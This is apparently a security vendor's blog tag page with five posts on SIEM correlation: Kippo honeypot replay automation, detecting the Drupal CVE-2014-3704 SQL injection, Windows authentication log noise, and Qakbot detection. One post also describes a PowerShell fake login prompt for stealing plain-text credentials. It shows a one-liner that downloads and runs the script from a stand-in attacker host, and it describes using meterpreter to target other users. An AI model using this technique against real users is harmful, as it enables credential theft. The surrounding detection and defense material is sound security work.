Posts tagged: 'advanced correlation'

The following posts are associated with the tag you have selected. You may subscribe to the RSS feed for this tag to receive future updates relevant to the topic(s) of your interest.

https://blog.logrhythm.com/tags/advanced-correlation/feed
 
 

Kippo Honeypot – Log Replay Automation

Kippo is one of my favorite honeypots due to its sheer simplicity, portability, and ease-of-use. It comes with a really neat feature that allows you to replay what the attacker did once they gained access to the honeypot by way of the playlog.py script. This is a somewhat lesser-known feature within Kippo that can be valuable as it gives the analyst insight into how the attacker interacted with the server , what commands they ran, what services were installed, potentially what Command and Control server they are operating from, and much more.

While you can already pull this data in to LogRhythm to gather important information using the extracted metadata, it’s another thing entirely to watch the attacker in action. This feature helps to determine whether it is an actual person or a bot interacting with the host. The problem, however, is that this takes time and effort to manually log in to each honeypot, run the script against each TTY session log, and review the results. Why not automate this process? Below is an example of a real attack and some valuable data that was observed in an SSH session with a Kippo honeypot (in this case a malware payload was downloaded).

Kippo replay of basic C2 post exploitation activity

Figure 1: Kippo replay of basic C2 post exploitation activity

As you can see from the screenshot above, whenever an attacker successfully breaches the honeypot, a new TTY log file is generated – this is separate from the kippo.log files we are already pulling in to the SIEM. So, the quickest way to automate this is to create a small bash script on the honeypot host(s). This script is pretty simple, it defines a few environmental variables, runs the playlog.py script and outputs the results of the script to a text file in a separate directory. Once this is complete, it moves the replayed TTY session log to a separate folder, modifies the output so it can be viewed easily on Windows hosts, and sends a notification email to the SOC with the attached log replay file.

This script is available in my forked Kippo repository along with other small additions, here: https://github.com/gfoss/kippo.

Figure 2: Kippo Log Replay Alert Script

Figure 2: Kippo Log Replay Alert Script

We could easily set this up to run via cron, however then we would have limited control of the script execution. Since cron is limited to running on a set schedule, this has the potential to affect File Integrity Monitoring (FIM) notifications and there may be times when you don’t want the script to execute. So, the easiest way to do this would be to use a LogRhythm SmartResponse™. First we need to set up a new FIM policy, for this use case I simply cloned the existing Linux FIM policy and added the /opt/kippo/log/tty/ directory, configuring it to check for any new log files every 10 minutes.

Figure 3: File Integrity Monitoring Policy Update

Figure 3: File Integrity Monitoring Policy Update

Now with the new FIM policy in place, a log file will be generated whenever changes are observed in this folder. Reviewing the log metadata allows us to see what attributes we can alert on.

Figure 4: Kippo FIM Event -- Log Details

Figure 4: Kippo FIM Event — Log Details

As you can see from the screenshot above, we can create a simple Advanced Intelligence Engine™ (AIE) rule that checks for the above common event, object, and log source…

Figure 5: Kippo Log Replay FIM Alert

Figure 5: Kippo Log Replay FIM Alert

Now for the fun part, we need to set up a SmartResponse™ to trigger whenever this rule fires. We can do this using any scripting language, but for this proof of concept, I chose PowerShell. All we need to do is authenticate to the server using Plink and run the aforementioned bash script remotely by way of a quick PowerShell one-liner that Andrew Hollister put together.

cmd /c "plink.exe -ssh -i key.ppk -noagent -m commands.txt $UserName@$TargetHost <yes.txt"

Using this script, we can build the SmartResponse™ and configure the script to run whenever the associated AIE rule fires. At this point, it is possible to configure approvers if desired. With the new action in place, enable the AIE rule and test  to assure everything is working as intended.

Figure 6: SmartResponse Action Approval

Figure 6: SmartResponse Action Approval

If all goes well, you will receive an email notification with an attached log message displaying full details of the attacker’s replayed TTY session…

Figure 7: Auto Replay Email Alert

Figure 7: Auto Replay Email Alert

Using SmartResponses™ to automate TTY session replays, extracting the session log, and forwarding this on within an email can help security analysts, researchers, etc. quickly analyse the attack and gather useful data very easily. While the general honeypot metadata already being captured by the SIEM is excellent, it can be drastically improved by automating Kippo’s attack replay capabilities. Not only will this give analysts a better idea of who is attacking them and what methods they are using, but it can serve as an early-warning indicator, complimenting the wealth of information already being extracted from the honeypot metadata.

Figure 8: Honeypot Analytics Dashboard

Figure 8: Honeypot Analytics Dashboard

Tags: , , , , , , ,

none | Digital ForensicsSecuritySIEM

 
 

Patch Drupal Yesterday – CVE-2014-3704

If you are currently running any Drupal 7 web applications, there is a very critical SQL Injection vulnerability affecting Drupal Core. This was publicly released on Wednesday, 10/15/14 along with an exploit. The proof of concept simply modifies the administrator’s username and password, allowing an attacker to gain administrative access to the Drupal application.

“Drupal 7 includes a database abstraction API to ensure that queries executed against the database are sanitized to prevent SQL injection attacks.

A vulnerability in this API allows an attacker to send specially crafted requests resulting in arbitrary SQL execution. Depending on the content of the requests this can lead to privilege escalation, arbitrary PHP execution, or other attacks.

This vulnerability can be exploited by anonymous users.”

Drupal Security Team

SQLi test against Drupal 7.31 application

SQL injection test against Drupal 7.31 application

The vulnerability is ranked as Highly Critical, a 5 out of 5 on the Drupal Security Team’s risk scale… A patch has been released and upgrading to Drupal Core version 7.32 will remediate this vulnerability. If you host Drupal sites, it is imperative that you patch soon. One quick way to test and see what sites have yet to be patched would be to make a simple bash loop to check all the known Drupal sites in your environment and see if any of them are still vulnerable.

Drupal 7 SQLi Sweep Test

Drupal 7 SQLi Sweep Test

Be very careful doing this, it will modify the admin’s password on every vulnerable site!

Even though this was only publicly released just a couple days ago, there is a chance that this vulnerability has been known for quite some time as it affects every Drupal 7 web application running version 7.31 or older. Luckily there are log traces of this attack that can be used to ascertain whether or not the vulnerability has been exploited.

The evidence in question lies within the Drupal Watchdog logs. Ideally this information should be extracted and stored in a SIEM or similar central logging solution. However, if you are only moving server logs off of the host then you are missing a good portion of the actionable evidence. Not to mention that once an attacker has gained access they can simply clear out the logs, erasing all remnants of the attack within the application.

Clearing the logs...

Clearing the logs…

If you are not offloading these logs to a SIEM and are lucky enough to still have Watchdog logs available following a breach, then you should search through these for the following four events in succession. Sometimes there will only be the first three (from bottom to top) as the attacker may wait to actually log in.

Correlated Events

Correlated Events

The details of the three messages to look for are:

  1. Warning: mb_strlen() expects parameter 1 to be string, array given in drupal_strlen() (line 478 of /var/www/redman/includes/unicode.inc).
  2. Warning: addcslashes() expects parameter 1 to be string, array given in DatabaseConnection->escapeLike() (line 981 of /var/www/redman/includes/database/database.inc).
  3. Login attempt failed for .

The nice thing about this attack is that the logs consistently provide us with valuable data, making it very easy to create a correlated events on a successful attack. So, if you are unsure of whether or not all of the Drupal 7 sites have been adequately patched, it’s a good idea to alert the SOC to successful attacks against any Drupal applications in the environment. Using LogRhythm this can be done with a simple correlated event rule block that looks for these messages in quick succession. I’ve included an example rule below that simply looks for this activity within the Watchdog logs. The first of which alerts on the message data from the first portion of the attack within Drupal 7 UDLA logs…

Rule Block 1

Rule Block 1

The second rule block looks for the next error message in the Watchdog database table…

Rule Block 2

Rule Block 2

And the third rule block looks for a failed login with a [ blank username ].

Rule Block 3

Rule Block 3

All of which is grouped by the same Impacted Host.

AIE Rule Group By

AIE Rule Group By

You could also add a rule looking for a successful login using the admin account. However they could change the admin’s username and may not even log in for quite some time following a successful attack. For this reason I did not include the fourth potential log message in the rule.

If you have a WAF that is tuned properly, this attack should be blocked. The LogRhythm Web Application Defense Module can assist with detecting this attack as well. Due to the popularity of this CMS, many organizations currently have a very large number of Drupal applications and often have little control over when they get patched. For this reason, it is beneficial to now when these applications are successfully compromised at the very least. Alerting on this activity will allow the security team to make a business case to get the sites patched in a reasonable amount of time as the only true way to fix this issue is to upgrade to Drupal 7.32 as soon as possible.

Tags: , , , , , , , ,

none | SecuritySIEM

 
 

Do You Trust Your Computer?

These past couple weeks have been a blur. I had the opportunity to attend and speak at both AppSecUSA and DerbyCon and can not say enough good things about these conferences. There were so many excellent talks and activities that it’s hard to pinpoint any one highlight due to the sheer number of talented folks in attendance.

Instead, I’d like to discuss some of the topics regarding insider threats, pivoting, and gaining access to plain text credentials once inside an organization. There are many tactics that attackers will use to avoid detection while ransacking a company from the inside-out. Many of the talks this year focused on Windows and PowerShell. Just a few of my favorites were Et Tu Kerberos by @obscuresec, Abusing Active Directory in Post-Exploitation by @Carlos_Perez, PowerShell MITM by @subTee, Passing the Torch by @harmj0y and @davidpmcguire, among many others. This topic is interesting because the focus is centered around built-in Windows functionality as opposed to tools and exploits. You really should watch the talks to understand the full impact of the concepts presented.

AppSecUSA and DerbyCon

AppSecUSA + DerbyCon

However, I am not going to talk about getting shells or pivoting in this post… Instead, I want to look into other abuses of functionality that are possible in the enterprise. One of my favorite attack vectors is imitating a legitimate service, program, etc. and using this to gain privileged access to resources. This approach has great potential in an enterprise environment and is only limited by the adversaries creativity…

While attending @FuzzyNop‘s DerbyCon talk, he mentioned some neat ways to set up a C&C using twitter along with some other useful tricks. However, he showed the crowd one thing that I hadn’t seen before. A really useful OSX one-liner that simply pops-up a prompt asking for your password, masquerading as though it originated from a legitimate application. This is very easy to execute on remote hosts via SSH and makes my old pranks using the ‘say’ command look pretty lame.

OSX Password Prompt Pop Up

OSX Password Prompt Pop Up

After playing around with the OSX command in the office, I wanted to do the same thing in Windows. So, I put together a short PowerShell script… It basically pops-up a ‘Layer 8 Error’ alert box that notifies the user that ‘there was an issue with their account,’ followed by a login prompt.

PowerShell Pop Up Pwn

PowerShell Pop Up Pwn

The nice thing with PowerShell, aside from PowerSploit of course, is that you can easily execute PowerShell on just about any modern Windows host. Not to mention that you don’t even need to move any files to the target. Also, I was able to tie in to the existing PromptForCredential() function and pass input received through ConvertFrom-SecureString to convert the credentials entered to plain text. Depending on the environmental restrictions in place, you can use WMIPSRemoting, PSExec, meterpreter, or my favorite avenue is hosting the file somewhere and pulling it down to the target:

IEX (New-Object Net.WebClient).DownloadString(‘hxxp://evil.payload/ppwn.ps1’)

If you already have a meterpreter session, you can use the exec_powershell post exploitation module to launch the script on the host.

Meterpreter PowerShell_Exec

Metasploit PowerShell_Exec Post Exploitation

After obtaining administrative rights on the host, you can target other users by migrating to a process owned by that user and launching the PowerShell script. Please note, this can be hit-or-miss depending on the process you target.

targeting other users

Targeting Specific Users

If the user attempts to just close out the dialog box or the captured credentials don’t work, you can re-run it as many times as necessary by calling the ppwn() function. Eventually they’ll fill it out just to make it go away…

PowerShell Script Reuse

PowerShell Script Reuse

This is just a simple proof of concept that demonstrates one of the many ways to steal plain text credentials using a ‘trusted dialog box.’ If you’re interested in playing with this script, it can be downloaded at the link below. Feel free to reach out if you have any recommendations for my very poorly coded PowerShell script or similar tricks to share.

https://github.com/gfoss/misc/blob/master/PowerShell/popuppwn.ps1

There are many other ways to pull off this same attack, along with various methods that do not require any user interaction whatsoever. The point is that these are simple techniques and adversaries have unlimited avenues regardless of the environment variables and operating systems they are targeting. In short, any service or application that you use regularly can be cloned and used against you. They will get in, the trick is finding them once they are inside…

you’re doing it wrong

Defending is much more difficult than attacking in general. However, there are many steps you can take to detect attacks such as this. Primarily, services such as SSH and PowerShell Remoting should be disabled or limited to specific users on desktops unless there is valid business justification to enable such functionality. Along with disabling risky services, understanding your network architecture and most importantly – log data, is absolutely critical when it comes to monitoring the network. Taking precautions to protect clients using a content filtering Web proxy with SSL inspection capabilities and implementing proper network segmentation are additional defensive layers that make life more difficult for the attacker. If you know where your systems are and understand their expected behavior, you can tune out a significant amount of the ‘noise’ and focus on the unknown unknowns – often referred to as insider threats.

So… Do you still trust your own computer?

Tags: , , , , , , ,

none | Security

 
 

The Nuances of Advanced Correlation Rules for Authentication Logs

AI Engine Rule BlockUsing the Advanced Intelligence (AI) Engine with LogRhythm allows users to correlate among all the logs in a network and alert when there is anything unusual in the log patterns.  My team, the Knowledge Engineers, is tasked with creating rules for advanced correlation and pattern recognition.  In the early days of the AI Engine, however, we ran across many unexpected challenges when building many of our prepackaged correlation rules.

Let’s start with an example:

One of our AI Engine rules is designed to detect a brute force attempt followed by a successful login on the same account.  First this rule looks to see if there are at least 5 authentication failures followed by a successful logon by that same origin login.  Seems simple enough, however in the AI Engine Beta program we discovered that this alert fires way too often.

Why is this?  Investigation into this issue showed us that the Windows logon process doesn’t produce logs exactly how we expected (or how we would like).  It turns out that if domain controllers in the environment are connected, then an authentication failure log is produced for every domain controller in the system.  This means that in a large environment, someone who types their password incorrectly only one time can produce as many authentication failure logs as there are domain controllers in the network running active directory.  In this case, this AI Engine rule, which is supposed to catch people logging into accounts that aren’t theirs, had a very high false positive rate during beta testing.

But that raised the question what about other windows authentication events, such as logons, so we decided to investigate further.  Testing logons just around our office yielded a wide variety of results.  When I logged in I produced 12 logs classified as Authentication Success and even 4 logs that were classified as Logoffs.  Another employee produced 49 logs with a single logon! Some of these logon logs are simply connections to shared resources like a network drive – not actual logons.  If a typical user of LogRhythm wants to investigate a specific employee, they will want to find the exact time the employee in question logged on, what they accessed, and what that person did with the objects they accessed.  This is a daunting task for a user that doesn’t have a deep understanding of Windows authentication events.

With the creation of the AI Engine rules we realized just how noisy authentication events actually are in Windows.  To address this issue, we have fine-tuned our common events and AI Engine rules to filter out all of this extra noise.  Because AI Engine rules can leverage all of LogRhythm’s extensive normalization, data enrichment and log parsing, they can be quickly modified for much greater accuracy.  And a typical LogRhythm user can investigate incidents without having to understand every individual detail of the Windows authentication process.  That is what every SIEM product user is looking for – a simple way to understand exactly what is happening in their network without needing a detailed knowledge of the authentication process.

Not only did this analysis help us create more refined AI Engine rules with fewer false positives, it gave us more refined guidance for normalization, making LogRhythm easier for our customers to use.

Tags: , , ,

0 Comments | General

 
 

Initial Thoughts on The Hartford Breach: Using Pattern Recognition to Identify Outbreaks

The recent compromise at The Hartford Insurance Company highlights the fact that AV software by itself isn’t always an adequate defense – even for malware that has been in the wild for quite some time.  It was reported that a W32-Qakbot variant was utilized in this attack – something that has been around since 2009.  Qakbot is a piece of malware that has Trojan functionality and spreads via network shares.

After some basic research it looks like Qakbot variants, once installed, reach out to external servers to download a payload providing the extended Trojan functionality, and then spread via network shares.  A simple AI Engine rule that looks for an outbound connection opening, followed quickly by network activity or port scanning activity on TCP ports 139 and 445 and/or UDP ports 137 and 138 from the same host would detect Qakbot as it attempts to spread throughout the network (as well as many other types of malware that follow the same activity pattern).

A SIEM solution with strong pattern recognition capabilities can provide a wider view rather than just focusing on how an exploit works or whether AV signatures will recognize the malicious files as they are scanned.  Automated advanced correlation rules can be written to alarm on the activity of the malware.  A similar decentralized threat detection approach is outlined in one of my previous blog posts on SQL Injections.

Zak Wolff, our resident malware analyst/SME is taking a closer look at the Hartford breach and will be following up with additional details.

Tags: , , ,

0 Comments | Security